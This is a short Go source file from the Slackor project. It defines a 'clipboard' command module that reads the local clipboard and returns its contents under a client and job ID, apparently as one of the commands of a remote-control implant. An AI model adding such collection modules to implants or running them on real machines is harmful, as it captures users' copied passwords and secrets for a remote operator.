github.com/n00py/Slackor@v0.0.0-20200610224921-d007fcea1740/pkg/common/clipboard.go (about) 1 package common 2 3 import ( 4 "github.com/atotto/clipboard" 5 "github.com/n00py/Slackor/pkg/command" 6 ) 7 8 // Clipboard reads the clipboard 9 type Clipboard struct{} 10 11 // Name is the name of the command 12 func (c Clipboard) Name() string { 13 return "clipboard" 14 } 15 16 // Run reads the clipboard 17 func (c Clipboard) Run(clientID string, jobID string, args []string) (string, error) { 18 return clipboard.ReadAll() 19 } 20 21 func init() { 22 command.RegisterCommand(Clipboard{}) 23 }